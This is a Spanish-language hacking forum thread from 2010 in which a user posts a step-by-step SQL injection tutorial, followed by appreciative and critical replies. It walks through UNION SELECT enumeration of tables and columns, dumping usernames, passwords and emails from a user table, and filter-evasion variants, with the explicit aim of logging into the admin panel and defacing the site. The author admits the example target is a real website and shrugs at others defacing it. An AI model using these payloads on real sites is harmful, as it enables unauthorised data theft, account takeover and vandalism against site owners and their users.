Página 1 de 2

Tutorial SQLi By Biocat

Publicado: 12 Jul 2010, 12:04
por biocat
Tutorial SQLi(Inyección SQL).


Primera parte


Actualización del tutorial anterior, por los errores y faltas, el tutorial fue hecho hace 2 años, asi me doy cuenta de lo que he avanzado y los errores que cometí, lo siento por los errores especialmente a
la gente que estimo ^^.



Contenido
¿Que es?.
Descripción.
¿En que lenguaje veremos su uso?.
Como saber si el sitio es vulnerable.
Que hacer si el sitio web es vulnerable.
Conclusión.


1.¿Que es?

La Inyección SQL o SQLi es una vulnerabilidad centrada en consultas hacia la base de datos de una pagina o servidor, esta vulnerabilidad puede estar en todo tipo de bases de datos como por ejemplo MYSQL, PostgreSQL, ademas de lenguajes de programación de web como ASP, PHP y no se me ocurre nada mas :P.

2.Descripción

Una Inyección SQL o SQLi suele suceder cuando se inyecta una variable de consultas desde una identidad hacia la base de datos y asi obtener directamente información del usuario administrador o ver a tu antojo todas las tablas y columnas de la web. La mayoria de las veces estos errores en las SQL son por la ignorancia del lenguaje pero este código puede ser reparado por cualquier persona, es muy facil arreglar estos errores, les mostrare esas formas al final en la conclusión.

3.¿En que lenguaje veremos su uso?

Lo veremos en PHP, ya que es en el lenguaje en que me manejo mas, hasta ahora :), Ejemplo de una pagina php:

[Enlace externo eliminado para invitados]


4.Como saber si el sitio es vulnerable.

Se puede saber haciendo consultas a la identidad (ej: id, act, opc)

[Enlace externo eliminado para invitados] (NUMERO)
[Enlace externo eliminado para invitados] (NUMERO)
[Enlace externo eliminado para invitados] ... hp?idcate= (NUMERO)


Algunos de esos podrían tener una vulnerabilidad SQLi para poder saber si tiene una vulnerabilidad habrá que hacer una consulta:


[Enlace externo eliminado para invitados]
[Enlace externo eliminado para invitados]


Las paginas normalmente tienen un tipo de “Diccionario” por asi decir, en este diccionario estan las letras usadas para el php, la mayoría de las veces son numeros positivos o letras, si nosotros “insertamos” un numero que no este en este diccionario, podremos obtener errores o deformaciones en la pagina, como por ejemplo:

-Numeros Negativos (-1,-2,-3,-4,-5)
-Signo ' ('1,'2,'3,'4,'5)

Escencialmente se usa la consulta con el signo “ ' “ para saber si tiene el Magic_quotes activado, si lo esta, podremos apreciar errores

Ejemplo de error:

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\'2' at line 1

Esto nos podra garantizar poder usar el Magic_quotes y asi obtener sus “beneficios”.

Si probaste las dos de las muchas consultas que existe, y viste que la página web es vulnerable
(te entrega la pagina en blanco, errores como el ejemplo de arriba, deformaciones en la pagina)
es porque quizas sea vulnerable, ya hecho estoy mostrare las inyecciones de arriba y su respuesta:

[Enlace externo eliminado para invitados]

Imagen


[Enlace externo eliminado para invitados] ... ?id='2

Imagen


5.Que hacer si el sitio web es vulnerable.

Garantizo que si la web es vulnerable usar la consulta “-1”.

Bueno en primer lugar, debemos tener la pagina con la consulta -1:

[Enlace externo eliminado para invitados]

Ahora que esta en blanco, usaremos los signos “+” para unir consultas, el comando que llevaremos acabo es el “union select”, que escrito es asi:

[Enlace externo eliminado para invitados]

Este comando une dos consultas [-1(Primera Consulta)+union+select+1(Segunda Consulta)],
ahora que tenemos 1 consulta nos falta hacer la segunda la cual sera 1, quedaria así:



[Enlace externo eliminado para invitados]

Lo que estamos haciendo ahora es obtener el numero de tablas que hay en la pagina y encontrar la vulnerable, despues del 1 debemos seguir con el numero 2,3,4,5 hasta que en la pagina web te muestre alguno de los numeros que se puso en la consulta, pueden ser de 1 a X numeros, pero la mayoria de las webs son desde 1 a 20, asi que depende de ti seguir del 20 o mas :), bueno quedaria así:

[Enlace externo eliminado para invitados]
[Enlace externo eliminado para invitados] ... ct+1,2,3--
[Enlace externo eliminado para invitados] ... +1,2,3,4--
[Enlace externo eliminado para invitados] ... ,2,3,4,5--
[Enlace externo eliminado para invitados] ... ,3,4,5,6--
[Enlace externo eliminado para invitados] ... ,4,5,6,7--
[Enlace externo eliminado para invitados] ... ,5,6,7,8--


PD: necesitamos poner el signo “--” despues de la inyección para saltar la sentencia que viene a continuación.

Si te das cuenta en las 7 primeras no hay ningun cambio, solo muestra esto:
Imagen


Y en el numero 8 nos muestra esto:
Imagen


Nosotros necesitamos obtener alguno de los numeros puestos en la consulta, como ya los obtuvimos seguiremos avanzando hasta llegar al final ;), ahora que tenemos la vulnerabilidad, debemos darnos cuenta cuales son los numeros que aparecen en la pagina: en la que estoy probando son los “4,3 y 2”
estos numeros podemos remplazarlos por inyecciones para obtener información sobre la web, podemos remplazar el 4 por “version()” o por “user()”, o los comandos que existan :), pero esto no nos sirve de nada, solo cabe decir que asi nos podemos divertir curosiando la pagina desde afuera, las inyecciones serian:

[Enlace externo eliminado para invitados]

[Enlace externo eliminado para invitados]

o los dos juntos:

[Enlace externo eliminado para invitados]

Ya sabiendo que reemplazando un numero vulnerable por una inyeccion bien escrita, esta se ejecuta puedo explicarte como podemos obtener las tablas, que son las “categorias” de una pagina web, que en ella podemos obtener cosas como:

“comentarios,contenidos,distribuidor,encuestas,enlaces,marca,noticias,producto,respuesta,usuarios”

en la cual adentro hay columnas que son la informacion de estas “categorias”, en estas podemos encontrar cosas como:

“password,user,id,admin_user,noticia,answer”

para obtener las tablas usaremos el comando “group_concat”, “from” y “information_schema.tables” el primero es un tipo de “buscador” en el cual busca lo que tu deses y este en la pagina web, el segundo es para poner la dirección de donde se encuentra el archivo a buscar, y el tercero es una dirección en donde se encuentran las tablas, la inyección de estas en conjunto seria:

[Enlace externo eliminado para invitados] a buscar),5,6,7,8+from+information_schema.tables--

donde dice “identidad a buscar”, para buscar las tablas debemos poner “table_name” que especifica que estamos buscando todas las tablas de la pagina web, la inyección seria asi:

[Enlace externo eliminado para invitados]

y obtendriamos muchos nombre que quiza, ni conoscamos y nos podemos confundir, para esto podemos usar este “group_concat” con algunos codigos hexadecimales para poder hacer mas “bonita” la inyección, el codigo es “replace(group_concat(table_name),0x2C,0x3C62723E)“, inyectado quedaria asi:

[Enlace externo eliminado para invitados]

Imagen


Son muchas mas, mostre algunas para que vean la diferencia de esta inyección con la otra, si te diste cuenta o no, las inyecciones SQLi, perimiten codigos Hexadecimales, ASCII, y nose cuales mas ya que solo he probado esos dos ;), bueno ahora que tenemos las tablas buscamos una interesante “nosotros buscamos “Defacear” la web asi que buscaremos algo como “admin,users,usuarios”
bueno en esta web esta “usuarios”, ahora buscaremos las columnas de Usuarios, asi que aprenderas
nuevas inyecciones ;), estos son el “where” y “table_name=”, con estos dos comandos podemos obtener las columnas de la tabla que queremos (usuarios), para esto la inyección usada para obtener las tablas era:

[Enlace externo eliminado para invitados]

pero ahora queremos buscar columnas asi que cambiaremos “tables” por “columns”, quedaria así:

[Enlace externo eliminado para invitados]

Bueno si nos metemos al link, vemos que salen muchos nombres, estos son TODAS las columnas de la web pero nosotros queremos saber unas en especial, que son las de la tabla “Usuarios”, para esto usaremos el comando “where” y “table_name=”, “where” especifica la ruta de una tabla o columna y “table_name=” despues del = se pone el nombre de la tabla en Hexadecimal o si esque esta activado el “magic_quotes”, se pone el nombre entre “ ' “, ejemplo:

[Enlace externo eliminado para invitados] EN HEXADECIMAL)--

(ANTES DE CUALQUIER VALOR HEXADECIMAL SE LE DEBE AGREGAR 0x PARA ESPECIFICAR QUE SE VA A AGREGAR UN VALOR HEXADECIMAL A LA INYECCIÓN)

Esto quedaria así:

[Enlace externo eliminado para invitados]

Imagen


O si esque esta activado el magic_quotes, podriamos tambien ponerlo así:

[Enlace externo eliminado para invitados]'

Pero como no esta activado nos da error, por lo tanto no nos sirve de nada ;).

Ahora que tenemos las columnas de la tabla “Usuarios”, no usaremos ningun nuevo codigo, solo limpiaremos el anterior por:

[Enlace externo eliminado para invitados]

Como ven ahí esta una inyección, en Columna, ponemos cosas como:

“id,login,password,nivel,email,nombre,apellidos,idusuario”


Por ejemplo podemos poner “login,password,email”, asi sacamos un usuario su clave y quizas el msn tenga la misma clave, quien sabe :)!, la inyección seria asi:

[Enlace externo eliminado para invitados]

Imagen


En todas las inyecciones se le puede añadir hexadecimal asi que le agregaré un = en hexadecimal para separar el user con la password y el mail, quedaria asi:

[Enlace externo eliminado para invitados]

Imagen


Ya teniendo todo, solo hace falta meterte desde el panel y defacear la web, ahora viene la segunda parte:

Segunda parte


Como ya sabemos las inyecciones SQL, pueden tener distintas encriptaciones, por ejemplo podemos tener algo como:

[Enlace externo eliminado para invitados] ... ,5,6,7,8--

Se ve algo raro, pero es muy simple, encripte:

<html><body background="[Enlace externo eliminado para invitados]>

En Hexadecimal y me da el resultado de:

3c68746d6c3e3c626f6479206261636b67726f756e643d22687474703a2f2f62696f6361746465666163696e672e77656263696e646172696f2e636f6d2f6267676e332e676966223e3c2f626f64793e3c2f68746d6c3e, este codigo hexadecimal luego lo inyecto en algun numero vulnerable de la pagina, el resultado es la deformación de la pagina:

Imagen


Como ven se ve muy bonito, pero no nos sirve absolutamente de nada un codigo html como ese, lo que nos puede servir en estos codigos podría ser que la inyección se vea mas ordenada como por ejemplo:

[Enlace externo eliminado para invitados] ... 3a20,email),0x2C,0x3C62723E),5,6,7,8+from+usuarios--

Aquí puse <br>Usuario:, <br>Clave: y <br>Password:, en Hexadecimal y luego lo añadi a la consulta, cabe decir que en una SQLi pueden haber infinitas consultas, podemos hacer lo del cambio de fondo en el numero vulnerable 3, y luego las columnas de la pagina, quedaria asi:


[Enlace externo eliminado para invitados] ... 3a20,email),0x2C,0x3C62723E),5,6,7,8+from+usuarios--

No se aprecian las claves pero se ve que si inyecto, para que se vean se les puede cambiar el color de la letra, tambien se puede hacer y es sencillo, solo se usa el codigo en html y se pasa a hexadecimal y luego se ejecuta, no olvide que todo hexadecimal inyectado en la consulta debe tener antes el 0x sino, no funcionaria la Inyección, bueno ahora que saben que el lenguaje encriptado a hexadecimal funciona, les enseñare otra cosa mas:

Nosotros sabemos que el comando para unir dos consultas es el UNION+SELECT y puesto en accion era -1+union+select+NUMERO, bueno ahora les mostrare mas:

-1+UNION+SELECT+
-1'+UNION+SELECT+ (Magic Quotes Activado)
-1+UNION+ALL+SELECT+
-1'+UNION+ALL+SELECT+
-1/**/UNION/**/SELECT/**/ (Se cambia el + por /**/)
-1'/**/UNION/**/SELECT/**/ (Magic Quotes Activado)
-1/**/UNION/**/ALL/**/SELECT/**/
-1'/**/UNION/**/ALL/**/SELECT/**/ (Magic Quotes Activado)
-1/**/UNION/**/ALL/**/SELECT/**/
1+UNION+SELECT+
1'+UNION+SELECT+ (Magic Quotes Activado)
1+UNION+ALL+SELECT+
1'+UNION+ALL+SELECT+
1/**/UNION/**/SELECT/**/
1'/**/UNION/**/SELECT/**/ (Magic Quotes Activado)
1/**/UNION/**/ALL/**/SELECT/**/
1'/**/UNION/**/ALL/**/SELECT/**/
1/**/UNION/**/ALL/**/SELECT/**/

Puedes probarlos todos, pero el que recomiendo es el -1/**/UNION/**/SELECT/**/, este nunca me ha fallado al igual que el predeterminado, ademas de que existan diferentes tipos de este comando, tambien existen diferentes para el comando +FROM+, algunos de los que se son:

+from+
/**/from/**/
%20from%20
+FROM+
/**/FROM/**/
%20FROM%20

Digo lo mismo a lo anterior, pueden probar todos, y recomiendo el /**/from/**/ (Mayus ON/OFF) y el +from+, esto no releva mucho el comando, bueno ahora que sabemos estas dos cosas haré una inyeccion con esto:

[Enlace externo eliminado para invitados] ... ,5,6,7,8--

Y sacando las tablas, podria ser asi:

[Enlace externo eliminado para invitados] ... table_name),5,6,7,8/**/from/**/information_schema.tables--

Al igual que la predeterminada funciona igual, solo que es un poco diferente, bueno ahora al sacar las tablas, quizás alguna vez no les funcione el table_name, pero existe uno que hace lo mismo y es el table_schema, esto va igual a el column_name, existe el mismo, column_schema. Ademas de todo esto, las web como ya sabemos pueden contener codigos hexadecimales, estos se agregan en cualquier consulta pero antes se le debe agregar el 0x para especificar que se usara un codigo hexadecimal. Un ejemplo seria cambiar el fondo de la pagina web, lo cambiare a una imagen mia, el codigo en html seria:

<html><body background="[Enlace externo eliminado para invitados]"> </body></html>, ahora lo encriptamos a hexadecimal:

3c68746d6c3e3c626f6479206261636b67726f756e643d22687474703a2f2f62696f6361746465666163696e672e77656263696e646172696f2e636f6d2f6267676e332e676966223e

Ahora tenemos el codigo, pero les recuerdo que para que se inyecte correctamente debe tener el 0x antes del codigo hexadecimal, quedaria asi:

0x3c68746d6c3e3c626f6479206261636b67726f756e643d22687474703a2f2f62696f6361746465666163696e672e77656263696e646172696f2e636f6d2f6267676e332e676966223e

Copio este codigo y lo añado a la consulta, quedaria asi:


[Enlace externo eliminado para invitados] ... ,5,6,7,8--

Ademas podemos “Ordenar” nuestras Inyecciones, por ejemplo al sacar las columnas de usuarios, y son MUCHOS, podriamos separarlos con hexadecimales, por ejemplo:


Usuario: 5573756172696f3a
Clave: 436c6176653a

Entonces ponemos a la Inyección en la cual sacabamos las columnas de la tabla Usuarios, le añadimos antes de login, 5573756172696f3a y antes de password 436c6176653a, quedaria asi:

[Enlace externo eliminado para invitados] ... a,password),0x2C,0x3C62723E),5,6,7,8/**/from/**/usuarios--

Pero, si te das cuenta sale esto:

Imagen


para arreglar esto, antes de los codigos hexadecimales puestos en la inyección, le agregamos 0x 3c6273e , que significa <br>, quedaria asi:

[Enlace externo eliminado para invitados] ... a,password),0x2C,0x3C62723E),5,6,7,8/**/from/**/usuarios--

Imagen


Ahora se ve mejor, ademas de esto podemos poner codigos PHP, HTML, JAVASCRIPT, ETC. Bueno ahora les dire lo ultimo en encriptación en SQLi, los numeros 1,2,3,4,5,6,7,8,9,X, pueden tambien ser expresados por “Null”, por ejemplo en la inyección de arriba quedaria asi:

[Enlace externo eliminado para invitados] ... a,password),0x2C,0x3C62723E),null,null,null, null/**/from/**/usuarios--

Imagen


Ahora diferenciaremos la inyección normal con la “encriptada”

[Enlace externo eliminado para invitados] ... a,password),0x2C,0x3C62723E),null,null,null, null/**/from/**/usuarios--

[Enlace externo eliminado para invitados] ... word,email),5,6,7,8+from+usuarios--

Obvio que la primera esta mucho mas elegante, bueno en la tercera parte explicare lo del mysql.user, nos vemos y saludo a Indetectables.net y Hackforever ;)

Re: Tutorial SQLi By Biocat

Publicado: 12 Jul 2010, 14:52
por yeikel
El tutorial es claro y sencillo , pero creo que no deberías poner como ejemplo una web que no sea de pruebas

Re: Tutorial SQLi By Biocat

Publicado: 12 Jul 2010, 19:38
por ProcessKill
Muy bien explicado. Muchas gracias por este tutorial!

Re: Tutorial SQLi By Biocat

Publicado: 12 Jul 2010, 20:15
por biocat
yeikel escribió:El tutorial es claro y sencillo , pero creo que no deberías poner como ejemplo una web que no sea de pruebas
Bueno en mi tutorial anterior, use una de "prueba" , pero nadie entendio, asi que lo hice con una real, claro que no la defacearé ni nada, ^^, decision de otros si la defacean, :P, saludos y disculpa si te molesto :(, si tienes una pagina de prueba me decis ^^

Re: Tutorial SQLi By Biocat

Publicado: 12 Jul 2010, 21:36
por Skillmax
Venga hombre traer nuevos metodos al foro no nos basemos solo en SQL y SQLi, nuevas cosas.. ahora todos hacen tutoriales de SQL y SQli y mierdas de esas, hay mas metodos y mucho mas interesantes!

Re: Tutorial SQLi By Biocat

Publicado: 12 Jul 2010, 21:37
por biocat
Skillmax escribió:Venga hombre traer nuevos metodos al foro no nos basemos solo en SQL y SQLi, nuevas cosas.. ahora todos hacen tutoriales de SQL y SQli y mierdas de esas, hay mas metodos y mucho mas interesantes!
Bueno es verdad, pero ahora estoy haciendo el de aspx y ademas un tutorial de como emplear load_file, sera muy repetido pero es el mas usado y donde mas paginas hay ^^, saludos :P

Re: Tutorial SQLi By Biocat

Publicado: 12 Jul 2010, 21:39
por Skillmax
No está mal biocat pero podrias emplear nuevos metodos como FPD, XSS, CRSF, etc, etc..

Re: Tutorial SQLi By Biocat

Publicado: 12 Jul 2010, 22:56
por 3mp3z@ndo
Muy buen tuto biocat, a más de uno le va a servir y está mejor explicado que otros
que se ven por cualquier sitio, incluso aquí mismo...a los que están empezando a
mirar sobre seguridad web les ayudará seguro, hay algo bueno en que haya muuuuchos
tutoriales sobre esto, y es que esa misma gente tendrá donde comparar y empezará a saber separar la paja del trigo, sabrán ver quien hace un tuto sobre algo que le gusta y se ha tomado su tiempo en entenderlo y quien hace tutos sin ni siquiera saber de lo que está hablando, de estos últimos hay bastantes....en cualquier parte, en fin, lo dicho buen tuto y te animo a que sigas con los que tienes en mente, a alguien le servirán....seguro

Saludos

Re: Tutorial SQLi By Biocat

Publicado: 13 Jul 2010, 20:53
por Mr-Sh4d0w
Skillmax escribió:No está mal biocat pero podrias emplear nuevos metodos como FPD, XSS, CRSF, etc, etc..
XSS es mas viejo que mi abuela

Re: Tutorial SQLi By Biocat

Publicado: 13 Jul 2010, 21:04
por Skillmax
Mr-Sh4d0w tu no sabes las maravillas que se pueden hacer empleando XSS o mezclando como XSS+LFI, miratelo.

Re: Tutorial SQLi By Biocat

Publicado: 13 Jul 2010, 22:40
por Mr-Sh4d0w
Skillmax escribió:Mr-Sh4d0w tu no sabes las maravillas que se pueden hacer empleando XSS o mezclando como XSS+LFI, miratelo.
Tampoco como para que no sepa lo que puedo hacer con un xss .
Solamente dije que no era nada nuevo.

Salu2!

Re: Tutorial SQLi By Biocat

Publicado: 14 Jul 2010, 12:09
por falkoner
Muy bueo ;)

Re: Tutorial SQLi By Biocat

Publicado: 23 Jul 2010, 21:14
por trapochon007
excelente tuto

Re: Tutorial SQLi By Biocat

Publicado: 24 Jul 2010, 19:26
por FahDs
Es un aportazo, esta muy bien explicado y 'limpio' por asi decirlo en la forma de ordenar las tablas, columnas, users&pass etc...